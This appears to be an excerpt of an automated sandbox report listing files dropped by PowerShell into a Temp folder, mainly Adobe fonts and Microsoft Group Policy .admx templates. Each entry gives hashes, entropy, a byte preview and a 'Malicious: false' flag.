SHA1:	2DFA0796BE958109D1558B771C3C8C77049A3945
SHA-256:	A3C25F2EC60F8D44F150CD4E478067B06CC7267FBAAF844DA600CE1C31C6E5C1
SHA-512:	E9F60C1536663B11A8D262A49BD92B80BC619E26408464350A122B4CFA149900DA754C78EA7E84A314F4C914497005409CC83DC8B5F55D725BBA1BD5ACB2CE89
Malicious:	false
Preview:	OTTO.......PBASE......pt...:CFF ..........b.DSIG......w.....GPOS.z....p....RGSUB......q.....OS/2[0.....@...`cmap..~....d....head.9.n.......6hhea...........$hmtx5.1...t.....maxp.~P....8....nameh(..........post.=.5...t... .......h\..._.<..................x........V.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....V..`..........=... .................g.............g...........r......... .v.....................:...............................................$.............:.................................@.&...........f.........t.............f.........4.............,.........2.H.........H.z. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold2.068;ADBE;CourierStd-Bold;ADOBECourier Std BoldVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStd-BoldHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.com/type/legal.html... .1.9.8.9

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	31948
Entropy (8bit):	7.268882841938278
Encrypted:	false
SSDEEP:	768:edluzc2NPniJMT9BvYsWShVcbZks6AnkXhUZxX:edluz3piJMpusWShVcbZkfAnk2Z1
MD5:	6804E7413898972E05823ADD91B1DFC5
SHA1:	4DFC3CECD9D3C26AFACA087A69376EB6ABFEDEAF
SHA-256:	698FD9169AD62BD6FAEDD1C8E8637ABC9CC65B3B1A5BA8698242B1447303FBEE
SHA-512:	F89A494AA7DAE22022CB4BDDF911C9FB8F40220C5D49BBA79E5B7F97191FCC2740088437D3E56E6903E0B10AAF5535B4CE08DBE793A0E800D23038196EBF5FC6
Malicious:	false
Preview:	OTTO.......PBASE......v(...:CFF ..li...H..g.DSIG......\|.....GPOS.z....vd...RGSUB......v.....OS/2[1.k...@...`cmap..~.........head...n.......6hhea...0.......$hmtxR.OT..y.....maxp.~P....8....name...........wpost.2.5...(... .......h.j\_.<..................x........V.................s.....X...c......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....V..`..........=... .......J.........g.............g...........r.........'.}.....................:...............................................$.3...........W...........g...........r...........c...........1...........G.........N.].........,...........t...........,...........4.K.....................2...........H.........................1...........G. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold Italic2.068;ADBE;CourierStd-BoldOblique;ADOBECourier Std Bold ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierS

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	32296
Entropy (8bit):	7.252771161977646
Encrypted:	false
SSDEEP:	768:jhDq/ufETG+B8jqsYTvBTOYDjcXfwMXY6TnP1xaH9UzGb4dmA:jk/uf3YTpIPzo6TtxY9UzGb6
MD5:	71EC484296A30C9379607E36158CA809
SHA1:	6DBA5AFA525BFB38B653E30492D59D839DC7A0C9
SHA-256:	C54815A2729D633E400A6835679613090C20B91DA6CB40FA761AAA475EFB77F5
SHA-512:	0A53ED3EBD858D093CDFC2B2ACC104453C6E211416AE24A93C2A77FEB3C7A5AF8E2A27CA367194F8A6D7294CF36BEC84A3B0C6AF1CCB8047D9B0C72622A9C8DF
Malicious:	false
Preview:	OTTO.......PBASE......w....:CFF ...y...p..i.DSIG......~ ....GPOS.z....w....RGSUB......x.....OS/2Zi.N...@...`cmap..~....@....head...q.......6hhea...8.......$hmtxY.V...{ ....maxp.~P....8....name..h}........post.2.5...P... .......h=D.]_.<..................x........Y.................s.....X...l......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....Y..`..........=... .......V.........g.............g...........r.........#.x.....................:...............................................$.(...........L...........Z...........g...........m...........z...........H...........^.........F.j.........$...........t...........$...........4.H...........\|.........2...........H.........................H............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdItalic2.068;ADBE;CourierStd-Oblique;ADOBECourier Std Medium ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168Cou

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30824
Entropy (8bit):	7.22230558667107
Encrypted:	false
SSDEEP:	768:px0Kx7uekYqrdC/MNVO6MFsSStwPHMjz9Qc3:j3RuexqrdGYmJStYHmz913
MD5:	F4C2D3851E2781B2B3FF60A2E34E81AC
SHA1:	779F9FEE6D37C37A03601EC1AB406D055E8E7692
SHA-256:	54CB5C8E9775CB432AFE32B0AF688536354AD04EF9C9F1450EE7C88A73BC884D
SHA-512:	218CF55522D6EDD88AD92ACAA6D440F0F7FF2A0688948A834EF21EFF7CA6A915622723720DAE234E412E788EE7B722261B1A238A12D05C7F63F24D854FDAD43D
Malicious:	false
Preview:	OTTO.......PBASE......q....:CFF ..vN......d.DSIG......x`....GPOS.z....r....RGSUB......rT....OS/2Zh.....@...`cmap..~.........head.E.q.......6hhea...........$hmtx<.8...u`....maxp.~P....8....name.I..........post.=.5....... .......h..Gd_.<..................x........Y.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....Y..`..........=... .......&.........g.............g...........r...........y.....................:...............................................$.............5...........g...........;.................................6.-...........c.........t.w...........c.........4.......................2.;.........H.m............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdRegular2.068;ADBE;CourierStd;ADOBECourier Std MediumVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStdHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210284
Entropy (8bit):	7.068121028372695
Encrypted:	false
SSDEEP:	6144:3z2HDNf6XZFWrRBPt2a+C5vDgtTBbhRRkBPgdG:3zaNWZFyBPONbhXkBPOG
MD5:	B3870BE83F40B14CB382BD498920A137
SHA1:	08B27BCE2DB468785348F42E39B2E80D9107FB1A
SHA-256:	6AF523A01B268DDAAB5177E6C0DF5024F7192D72B0B1CA9523721FBAA2AA9257
SHA-512:	0979D123BA7D84B564AA0F018AE49ED7A2C4610882E574547ABADE7ABD2E743630CCC82DFE95C3FBE963731E33DF5D34C2E307FD28A2E7670E2AACBE3B87F70E
Malicious:	false
Preview:	OTTO.......PBASEe.]...L....FCFF ..]....<..4.DSIG......5d....GPOS.j....M,....GSUB...G......*.OS/2bq.....@...`cmap_E9.........head..T........6hhea...........$hmtxw..4.......Xmaxp..P....8....name. ._.......mpost...2....... .........+<._.<..........{.......x....................................\|......................P........2.........X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q...........u.....................9.....................................k...........z.........$.............q.............................................>.......................r.........................m.........4.o.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold2.113;ADBE;MinionPro-Bold;ADOBEMinion Pro BoldVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldMinion is either a registered trademark or a

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	251140
Entropy (8bit):	7.049888028137883
Encrypted:	false
SSDEEP:	6144:tj64FsxSslGgShJ2rgoyGgg4sB+73Lc8n+zYBYg:R6MsxS5rxglmOg
MD5:	A7487BEFBF3C7BA8C957D269D9BA24E1
SHA1:	75063A3DB5E857B5565FE8AC9CECA74440CF2EF2
SHA-256:	BEB1CA56F9B4F89FB1549FE63A4BC578D2BD8747F967C1DF26DACD3DED3F0223
SHA-512:	1694A64790AEAC2D789C75A2C664A62D19C3A487730BD368E2C76A78852046E94A158467DBED26783F8EB1C17E0D76E2C3150F6EC82131CC2BBB385EF931C1CD
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF M.X........VDSIG............GPOS.A\|.... ...GSUB..1.......2&OS/2br.e...@...`cmapdJ.j...X....head.tV........6hhea.&.........$hmtx+..=........maxp.DP....8....nameO..........post...2...`... ..........._.<..........}.......x....................................'...................D..P..D.....9.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q.........!.\|.....................9.....................................}.....................$.........................q.............................................B........... ...........r.7......... .......................4.......................2...........H./............. 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold Italic2.113;ADBE;MinionPro-BoldIt;ADOBEMinion Pro Bold ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldItMinion is eith

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	252108
Entropy (8bit):	7.069665241195929
Encrypted:	false
SSDEEP:	6144:H5Pf8kkiiO4vviV+eehOtHU5VLO+++A3++awYHt:H5n8qrIthf5VU2Ht
MD5:	45E2315E99F24AB596F9D3AED29A0FC3
SHA1:	A73342DB05275C6858984F25C0D1278E93BFBEE9
SHA-256:	90DEF22F2B7B3E4AA78A160084A7A2C8F28883B700ABAEDC004DC74CBC2D9B4C
SHA-512:	1D479BEDA9F70055B0596E18D9F41DACE4141DEFB3BA9D01F21C0262E889FE37B7D9F3558B37E7716196DE5C2AA7668BB8B115A5BF4540763239F22A4D530CF9
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF .g.,...L....DSIG............GPOSkj`O...X...4GSUB..1.......2&OS/2`F.....@...`cmapdJ.j...$....head..V........6hhea.C.........$hmtx\|...........maxp.DP....8....namec\|..........post...2...,... ..........yE_.<..........}.......x..7...............................7./...................C..P..D.....!.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q...........w.....................9.....................................k...........z.........$.........................q.............................................:.......................r.........................x.........4.z.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProItalic2.113;ADBE;MinionPro-It;ADOBEMinion Pro ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-ItMinion is either a registered tr

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210808
Entropy (8bit):	7.107882344262286
Encrypted:	false
SSDEEP:	3072:kP2Ea79vZp3MeJymLbVQbKH3L9jLU2jRM5eUlVsXGUPHTfeoAL3sBgL/4tHRkBDB:kP2h76QRMUoVsXdwsBw/kxkBgW
MD5:	A4EA2690CFD854B24C968AC6CDCE9C33
SHA1:	EFC3BC793479DF1A34D76C42063997AD0E73C6B6
SHA-256:	327CB2238A82A89176FF6601139CBD0A5CDD8F8E1E057343EAE13FA9B1E10AB8
SHA-512:	F722B32C397179B25E33B88771CB588C6F23A615533E3DCB21B34052E2930F935DAB58B7EE5A3098912A41E6266B5F26B86602CF57BFF41917D634E55A86C52E
Malicious:	false
Preview:	OTTO.......PBASEe.]...Q`...FCFF .......H..9.DSIG......7p....GPOS.3.t..Q....rGSUB...G......*.OS/2`E.....@...`cmap_E9.........head.5T........6hhea...........$hmtx.4.........Xmaxp..P....8....name.O.........ypost...2...(... ............_.<..........{.......x....................................v......................P..................X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q.........".x...........g.........9.....................................e...........t.........$.............q.............................................D..........."...........r...........".............y.........4.{.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProRegular2.113;ADBE;MinionPro-Regular;ADOBEVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-RegularMinion is either a registered trademark or a trade

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90456
Entropy (8bit):	6.813831131460659
Encrypted:	false
SSDEEP:	1536:ruMpOn479vZp3MeJymLbVQbZg8Lm52cqU5mJm2Tg9gHsF+JSqyi+GGGCRqBtUwah:CU179vZp3MeJymLbVQbZ3CrqUwJmStEh
MD5:	E6D1585E6C81E3206948D8548D914FEC
SHA1:	4BFA4D5AD9995BD89E2D443009E4FFB728A1F74B
SHA-256:	2D09971801F2C18FC5A825379404113DB237866073AB463A9BF0F3DA8C62459A
SHA-512:	058CF93EA2BE4E98E752A4090F295E00BAD37B7DB9D4461CF7484409AF5087853653FD82AA7475A85950B48367A1D9168CC8983791B78DABEB8AF4F84397A264
Malicious:	false
Preview:	OTTO.......PBASEe%].......FCFF ..r.........DSIG......aP....GPOS8........M.GSUB.'$(..A....^OS/2_V.....@...`cmapJ.3C........head...........6hhea...........$hmtx..i...T....Hmaxp.RP....8....name...........Fpost...2....... .......dt..._.<..........N........x..]...............................].\...................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y...........]...........\|.........:...................................!.T...........u.........$.........................P...........d.........>.l.....................t.........................:.........4.<.........B.p.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold2.107;ADBE;MyriadPro-Bold;ADOBEMyriad Pro BoldVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	92636
Entropy (8bit):	6.860831645020259
Encrypted:	false
SSDEEP:	1536:fpMBiTX79vZp3MeJymLbVQbaRRQQmzcJfttExKBUBq8YRfyraMvxvxM+RP/YxTRV:hA879vZp3MeJymLbVQbaRRQzzcJfttEo
MD5:	01E3D8472C3CBC43799FED290B0DC219
SHA1:	916A7E55B47D079E0BF0E3FEA9EF8F48AF3D53C4
SHA-256:	7BCFA54CB8FB5B64DFE36F411D5265F7F71DC6F3B685C7ED0EB3753EE194BB45
SHA-512:	E70A72670E5267582BD652ABC73DE091D8978856B757001C7B5EFCC110A331B45EE0334C5864685C3054B627E0C750A050396842ED66C43A8B43AA33E6342B1C
Malicious:	false
Preview:	OTTO.......PBASEe%]....T...FCFF ..V....8....DSIG......i.....GPOSg.K......JFGSUB!Y=>..H.....OS/2_W.;...@...`cmapJ.3%...,....head.x........6hhea.\|.........$hmtx..\...\\|...Xmaxp.VP....8....name..Ul........post...2....... .......d..I:_.<..........N........x..7...............................7.....................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y.........!.d.....................:...................................!.f.....................$.....................................t.....................B........... ...........t........... .............t.........4.v.........B...........2...........H... 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold Italic2.107;ADBE;MyriadPro-BoldIt;ADOBEMyriad Pro Bold ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldItMyriad is either a registered trademark or a trademark of Ado

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	91132
Entropy (8bit):	6.90451917854644
Encrypted:	false
SSDEEP:	1536:E5Mgi/379vZp3MeJymLbVQbnbkVGcjf0DoEgNT8QcZaQwHhFzeKuvGujl2u1X2Y2:AFi79vZp3MeJymLbVQbnqVjf1EAXcN0D
MD5:	4413059068C27D82AD49621AE4AAEB5B
SHA1:	CA0E2F5CE7303031E1B97F6EB3402E45E3786A3B
SHA-256:	F234ADAFB66AD5E47A024FF4881C2EDC347D0453C15E811288EF10EB573CC33E
SHA-512:	5F68440FB0FE825A3742BDEB5EA089BB124D878DE7CEA74AB3270B888125F66D3E0EC62D562BCEEA194DC68CE9A40EA1BEF5D5980CE7EA207D91F04A20298412
Malicious:	false
Preview:	OTTO.......PBASEe%]....L...FCFF .\.........CDSIG......c.....GPOS<..y......JpGSUB!Y=>..C.....OS/2^+.....@...`cmapJ.3%........head..........6hhea...........$hmtx&.vA..V....Xmaxp.VP....8....namef..z.......[post...2....... .......d.C.._.<..........N........x..G...B.........................d.G.".B.................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y..........._...........\|.........:...................................!.T...........u.........$.....................................]...........q.........:.}.....................t.........................C.........4.E.........B.y.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProItalic2.107;ADBE;MyriadPro-It;ADOBEMyriad Pro ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-ItMyriad is either a registered trademark or a trademark of Adobe Systems Incorpo

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90404
Entropy (8bit):	6.8729134624051
Encrypted:	false
SSDEEP:	1536:SVM7Ouk79vZp3MeJymLbVQb2RG4m1Gnb0LBaJx1llp8PUUNMF7BM7omdoZNaDq5i:2QK79vZp3MeJymLbVQbtf1GRxH8sUN20
MD5:	1AED3BCF1B764F4AC6D9B988B0E724C0
SHA1:	6E149809FF93E683307AB3154FDD57EB24C5E9A3
SHA-256:	C812279DB1ED52876E3B59791645424CB4714CB710F60DA45F1B40757C3263E3
SHA-512:	8FB3591513BEE4D9C77EB6380D9F05E7E423434BF667759765D14CE8CDC89D969230516F271B28F508BA5FBA0E21B7623239E16C02599FA36B0900D199805BC4
Malicious:	false
Preview:	OTTO.......PBASEe%]....$...FCFF eAk........!DSIG......a.....GPOS.z....l..O.GSUB.'$(..At...^OS/2^.....@...`cmapJ.3C........head.>.H.......6hhea...?.......$hmtxAx}U..S....Hmaxp.RP....8....name.G........Rpost...2....... .......d..._.<..........N........x..c...f...........................c.b.f.................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y.........".`...........O.........:...................................!.N...........o.........$.........................J...........^.........D.l........."...........t...........".............F.........4.H.........B.\|.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProRegular2.107;ADBE;MyriadPro-Regular;ADOBEVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-RegularMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the Unite

C:\Users\user\AppData\Local\Temp\file\Resource\Globalization.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (330), with CRLF line terminators
Category:	dropped
Size (bytes):	32840
Entropy (8bit):	4.681155226503923
Encrypted:	false
SSDEEP:	384:rTze3Jw6gRfngRfrZwZ/vPF+Ok+nQ3CZCR9LZCRKO2fZ9Y8HtgOJAMG+/UISb16d:q5kZgZO0R9L0RK5fjYFMGar
MD5:	4319A6233386E02CD834EB0B3CC66391
SHA1:	1D8D05641A9DAFF5EA1E7845E7259980A2EB023B
SHA-256:	1D0D35A36242D4541B11895F8D3E562D074BECF1FB907AB3146D85492E2D11A4
SHA-512:	F4D26B0C087F1953741C1DCF5ED6602A63DB342FF394E7072AA86E71473B886ECEE367B2CAA23C85513A88F0E2370FFD81891A883D677EA343A164BBF42BA944
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="intl" namespace="Microsoft.Policies.Globalization" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RegionalOptions" displayName="$(string.RegionalOptions)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. <category name="NlsManagementCat" displayName="$(string.NlsManagementCat)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="InputPersonalization" displayName="$(string.InputPersonalization)">.. <parentCategory ref="RegionalOptions" />..

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicy-Server.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.119735964949222
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtFR6fZ0s6fE1k6fB36fm+dK9lKcUhdypKjcpQW66W2WWI2:3geDw08gmD1fZof+5fIfjKnKcS45x66d
MD5:	43B50ED71BF67B903327F3C019445704
SHA1:	A377CAB0BBC04FC0D4899FBEA4C95F45F912464D
SHA-256:	34DFA1131F30A091210A6CC09F32482950F35DB314026B629FB9938954447E47
SHA-512:	7BCFFC9A801E4C6E71AE522D0FDA4D67178612E1BB3679D0D9156D6F11103FB98A3399FC11EE65E90165FBD0C2521625025E0D5922D592D8EB30EEBEF971D9EF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="grouppolicy2" namespace="Microsoft.Policies.GroupPolicy2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="grouppolicy" namespace="Microsoft.Policies.GroupPolicy" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PolicyPolicies" displayName="$(string.PolicyPolicies)">.. <parentCategory ref="grouppolicy:PolicyPolicies" />.. </category>.. </categories>.. <policies>.. <policy name="ProcessTSUserLogonAsync" class="Machine" displayName="$(string.ProcessTSUserL

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicy.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (338), with CRLF line terminators
Category:	dropped
Size (bytes):	28932
Entropy (8bit):	5.044442931854654
Encrypted:	false
SSDEEP:	768:cfO/xE3Jl5wxDAN9IwF196nDsYCcJ+INL2myry7sWnmDQLWHPPfCzmaC:cfO/xE3Jl5ODAN9IwF196nDsYCcJ+INW
MD5:	7BBA0F65FC8B438E730B90BDBB3125EE
SHA1:	9A906D1AF4B576E29F6800444F0D9681A46A5689
SHA-256:	4A7ED44292F2F742ADBB1F1D8546DA5725C03804AB92B71D47E75BB9851C0D93
SHA-512:	C1D8DD62E87CF6BAD665B353B0A10F67574F102D20A5F13D6D275490695544FC6AB22C49A6B4A7B11706CA82899F75E41BBCA4A24C37ED511D963101E0C91826
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="grouppolicy" namespace="Microsoft.Policies.GroupPolicy" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PolicyPolicies" displayName="$(string.PolicyPolicies)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="EnableLogonOptimization" class="Machine" displayName="$(string.EnableLogonOptimization)" explainText="$(string.EnableLogonOptimization_Help)" presentation="$(presentation.SyncModeThreshold)" key="Software\Policies\Microsoft\Windows\System"

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicyPreferences.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (341), with CRLF line terminators
Category:	dropped
Size (bytes):	100025
Entropy (8bit):	4.945759802580788
Encrypted:	false
SSDEEP:	1536:fNrYKNNY2NIYNu3YINMYMNCYVNKYANoY8NIY1NeY9NWYPNuY9NqYtNZYgNAY7NNK:i
MD5:	E5EEFEDA8F0ABF28AC1212C65EE8FC40
SHA1:	008C3A1A227F47FBE294FBDF387EF1EC360F7E5B
SHA-256:	D3F65A8AAB45871A82BB71C1CD8B974083DC3C853AB179469D37C92D1C96AE4F
SHA-512:	FA7AD1D078FB820A3AF4ED774AD1F24F3D81E8B40DEE738E8B07F3AD4DB52C71B591E0E64F951F7CC6BA30951C32114C3AACF00788B32FE4340BF9799580BC0F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pref" namespace="Microsoft.Policies.Preferences" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="GroupPolicy" namespace="Microsoft.Policies.GroupPolicy" />.. <using prefix="GPSnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="MMC" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <supersededAdm fileName="preferences.adm" />.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CSE_Logging" displayName="$(string.CSE_Logging)" explainText="$(string.CSE_Logging_Help)">.. <parentCategory ref="GroupPolicy:Polic

C:\Users\user\AppData\Local\Temp\file\Resource\Help.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	5.128352439380811
Encrypted:	false
SSDEEP:	48:3geDw08gmDvfmofT5m5D9Bwok1JUD9AwmSlC++DdAwWyVx1cnrdhq:QeD/mDvOo75czwok1JUiwmSlr+iwWyVV
MD5:	D26CEA9B9EE5EC07163A6AB8B8AA9FAD
SHA1:	E9050A4D31C54A5B98C2E6393CCB1666EA66D981
SHA-256:	27E2366A21D968547D1D885EF9B74AE074579DE756AE70D64E8F27E4B7AD0B4B
SHA-512:	C3B895511C7A31A57BBA29A206C059E0D88029494B136954C18D875F5E6CC5AD7D64FA809DEEB1CFCE875D836911B2C4A465955C05ABD3E752DBF50C5999F2D1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="help" namespace="Microsoft.Policies.WindowsHelp" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="HelpQualifiedRootDir_Comp" class="Machine" displayName="$(string.HelpQualifiedRootDir_Comp)" explainText="$(string.HelpQualifiedRootDir_Help)" presentation="$(presentation.HelpQualifiedRootDir_Comp)" key="Software\Policies\Microsoft\Windows\System">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_IE6SP1" />.. <elements>.. <text id="HelpQualifiedRootDir_Edit" value

C:\Users\user\AppData\Local\Temp\file\Resource\HelpAndSupport.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2830
Entropy (8bit):	5.096565987494709
Encrypted:	false
